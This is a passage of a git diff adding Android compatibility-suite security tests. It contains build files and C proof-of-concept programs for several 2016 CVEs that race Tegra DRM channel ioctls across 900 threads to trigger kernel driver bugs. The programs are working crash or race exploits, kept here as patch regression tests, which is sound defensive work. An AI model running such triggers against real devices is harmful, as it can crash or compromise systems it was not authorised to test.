+	for(i = 0; i < THREAD_NUM; i++){
+		if(!thread_ret[i]){
+			pthread_kill(thread_id[i], SIGKILL);
+		}
+	}
+
+out_close:
+	close(fd);
+	return 0;
+}
+	
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk
new file mode 100644
index 0000000..a52f5de
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6733
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6733/local_pwn.h b/hostsidetests/security/securityPatch/CVE-2016-6733/local_pwn.h
new file mode 100644
index 0000000..1c1dde9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6733/local_pwn.h
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __local_pwn_H__
+#define __local_pwn_H__
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+        __u64 context;
+};
+
+struct drm_tegra_close_channel {
+        __u64 context;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+
+#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6733/poc.c b/hostsidetests/security/securityPatch/CVE-2016-6733/poc.c
new file mode 100644
index 0000000..7980fc9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6733/poc.c
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+#define THREAD_NUM	900
+#define DEV "/dev/dri/renderD129"
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+        __u64 context;
+};
+
+struct drm_tegra_close_channel {
+        __u64 context;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+
+int fd;
+pthread_t thread_id[THREAD_NUM] = { 0 };
+int thread_ret[THREAD_NUM] = { 0 };
+int futex_signal = 0;
+
+struct drm_tegra_open_channel open_c = { 0 };
+volatile struct drm_tegra_close_channel close_c = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+		printf("[-] set affinity failed: [%d]-%s\n", errno, strerror(errno));
+	}
+	return ret;
+}
+
+static void prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+}
+
+void* child(void* no_use)
+{
+	int ret = 1;
+	set_affinity(1);
+
+	while(ret){
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+	}
+        return NULL;
+}
+
+int main()
+{
+	int i, try_time = THREAD_NUM, ret;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		printf("[+] open failed %d %s\n", errno, strerror(errno));
+		return 0;
+	}
+
+	/* prepare ioctl cmd */
+	prepare();
+
+	/* create thread */
+	for(i = 0; i < THREAD_NUM; i++){
+		thread_ret[i] = pthread_create(thread_id + i, NULL, child, NULL);
+	}
+
+	while(try_time--){
+		/* open */
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+		/* close */
+		close_c.context = open_c.context;
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+		if(ret){
+		}else{
+			open_c.context = 0UL;
+		}
+	}
+
+out_thread:
+	/* kill thread */
+	for(i = 0; i < THREAD_NUM; i++){
+		if(!thread_ret[i]){
+			pthread_kill(thread_id[i], SIGKILL);
+		}
+	}
+
+out_close:
+	close(fd);
+	return 0;
+}
+	
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk
new file mode 100644
index 0000000..a22522d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6734
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6734/poc.c b/hostsidetests/security/securityPatch/CVE-2016-6734/poc.c
new file mode 100644
index 0000000..60b3a3c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6734/poc.c
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define KEEPON_THREAD_NUM	900
+#define TRY_TIMES	KEEPON_THREAD_NUM
+#define DEV "/dev/dri/renderD129"
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_START_KEEPON		0x10
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+    volatile __u64 context;
+};
+
+struct drm_tegra_close_channel {
+    volatile __u64 context;
+};
+
+struct drm_tegra_keepon {
+	volatile __u64 context;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_START_KEEPON DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_START_KEEPON, struct drm_tegra_keepon)
+
+int fd;
+pthread_t keepon_thread_id[KEEPON_THREAD_NUM] = { 0 };
+
+volatile struct drm_tegra_open_channel open_c = { 0 };
+volatile struct drm_tegra_close_channel close_c = { 0 };
+volatile struct drm_tegra_keepon keepon_c = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+	}
+	return ret;
+}
+
+static void prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+}
+
+void* keepon_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(1){
+		ioctl(fd, DRM_IOCTL_TEGRA_START_KEEPON, &keepon_c);
+	}
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		return 0;
+	}
+
+	/* prepare ioctl cmd */
+	prepare();
+
+	/* create keepon thread */
+	for(i = 0; i < KEEPON_THREAD_NUM; i++){
+		ret = pthread_create(keepon_thread_id + i, NULL, keepon_thread, NULL);
+		if(ret){
+			goto out_keepon_thread;
+		}
+	}
+
+	while(try_time){
+		/* open */
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+		if(ret == 0){
+			try_time--;
+			/* set keepon */
+			keepon_c.context = open_c.context;
+			/* set close */
+			close_c.context = open_c.context;
+			usleep(500);
+			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+		}
+	}
+	
+out_keepon_thread:
+	/* kill keepon thread */
+	for(i = 0; i < KEEPON_THREAD_NUM; i++){
+			pthread_kill(keepon_thread_id[i], SIGKILL);
+	}
+out_dev:
+	close(fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk
new file mode 100644
index 0000000..7d28f31
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6735
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6735/poc.c b/hostsidetests/security/securityPatch/CVE-2016-6735/poc.c
new file mode 100644
index 0000000..f38f411
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6735/poc.c
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define KEEPON_THREAD_NUM	900
+#define TRY_TIMES	KEEPON_THREAD_NUM
+#define DEV "/dev/dri/renderD129"
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_STOP_KEEPON		0x11
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+    volatile __u64 context;
+};
+
+struct drm_tegra_close_channel {
+    volatile __u64 context;
+};
+
+struct drm_tegra_keepon {
+	volatile __u64 context;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_STOP_KEEPON DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_STOP_KEEPON, struct drm_tegra_keepon)
+
+int fd;
+pthread_t keepon_thread_id[KEEPON_THREAD_NUM] = { 0 };
+
+volatile struct drm_tegra_open_channel open_c = { 0 };
+volatile struct drm_tegra_close_channel close_c = { 0 };
+volatile struct drm_tegra_keepon keepon_c = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	return ret;
+}
+
+static void prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+}
+
+void* keepon_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(1){
+		ioctl(fd, DRM_IOCTL_TEGRA_STOP_KEEPON, &keepon_c);
+	}
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		return 0;
+	}
+
+	/* prepare ioctl cmd */
+	prepare();
+
+	/* create keepon thread */
+	for(i = 0; i < KEEPON_THREAD_NUM; i++){
+		ret = pthread_create(keepon_thread_id + i, NULL, keepon_thread, NULL);
+		if(ret){
+			goto out_keepon_thread;
+		}
+	}
+
+	while(try_time){
+		/* open */
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+		if(ret == 0){
+			try_time--;
+			/* set keepon */
+			keepon_c.context = open_c.context;
+			/* set close */
+			close_c.context = open_c.context;
+			usleep(500);
+			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+		}
+	}
+	
+out_keepon_thread:
+	/* kill keepon thread */
+	for(i = 0; i < KEEPON_THREAD_NUM; i++){
+			pthread_kill(keepon_thread_id[i], SIGKILL);
+	}
+out_dev:
+	close(fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk
new file mode 100644
index 0000000..4b4757f
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6736
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6736/poc.c b/hostsidetests/security/securityPatch/CVE-2016-6736/poc.c
new file mode 100644
index 0000000..77f4b7a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6736/poc.c
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define SUBMIT_THREAD_NUM	900
+#define TRY_TIMES	SUBMIT_THREAD_NUM
+#define DEV "/dev/dri/renderD129"
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_SUBMIT		0x08
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+    volatile __u64 context;
+};
+
+struct drm_tegra_close_channel {
+    volatile __u64 context;
+};
+
+struct drm_tegra_submit {
+	__u64 context;
+	__u32 num_syncpts;
+	__u32 num_cmdbufs;
+	__u32 num_relocs;
+	__u32 num_waitchks;
+	__u32 waitchk_mask;
+	__u32 timeout;
+	__u64 syncpts;
+	__u64 cmdbufs;
+	__u64 relocs;
+	__u64 waitchks;
+	__u32 fence;		/* Return value */
+	__u32 reserved0;
+	__u64 fences;
+	__u32 reserved1[2];	/* future expansion */
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
+
+int fd;
+pthread_t submit_thread_id[SUBMIT_THREAD_NUM] = { 0 };
+
+volatile struct drm_tegra_open_channel open_c = { 0 };
+volatile struct drm_tegra_close_channel close_c = { 0 };
+volatile struct drm_tegra_submit submit_c = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	return ret;
+}
+
+static void prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+}
+
+void* submit_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(1){
+		ioctl(fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
+	}
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		return 0;
+	}
+
+	/* prepare ioctl cmd */
+	prepare();
+
+	/* create submit thread */
+	for(i = 0; i < SUBMIT_THREAD_NUM; i++){
+		ret = pthread_create(submit_thread_id + i, NULL, submit_thread, NULL);
+		if(ret){
+			goto out_submit_thread;
+		}
+	}
+
+	while(try_time){
+		/* open */
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+		if(ret == 0){
+			try_time--;
+			/* set submit */
+			submit_c.context = open_c.context;
+			/* set close */
+			close_c.context = open_c.context;
+			usleep(500);
+			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+		}
+	}
+
+out_submit_thread:
+	/* kill submit thread */
+	for(i = 0; i < SUBMIT_THREAD_NUM; i++){
+			pthread_kill(submit_thread_id[i], SIGKILL);
+	}
+out_dev:
+	close(fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
new file mode 100644
index 0000000..150c96e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
